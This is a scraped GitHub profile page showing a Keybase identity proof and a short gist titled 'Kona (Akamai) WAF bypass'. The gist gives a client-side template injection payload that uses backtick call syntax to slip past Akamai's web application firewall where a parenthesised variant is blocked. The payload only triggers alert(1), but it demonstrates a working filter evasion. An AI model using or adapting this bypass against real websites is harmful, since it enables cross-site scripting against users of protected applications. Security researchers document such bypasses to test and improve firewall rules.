Skip to content

Instantly share code, notes, and snippets.

View 0xTeles's full-sized avatar
🎯
Focusing

João Teles 0xTeles

🎯
Focusing
View GitHub Profile

Keybase proof

I hereby claim:

  • I am 0xteles on github.
  • I am 0xteles (https://keybase.io/0xteles) on keybase.
  • I have a public key ASAyZCwYzmR3BBx2N6tZi4T2ww3b0BVc_1MrOsfiFAYZYgo

To claim this, I am signing this object:

@0xTeles
0xTeles / wafcsti.txt
Created May 17, 2020 11:51
Kona (Akamai) WAF bypass
akamai kona waf bypass with backtrick and client-side template injection.
the payload => {{constructor.constructor('alert(1)')()}} is blocked
but
the payload => {{constructor.constructor(alert`1`)()}} is not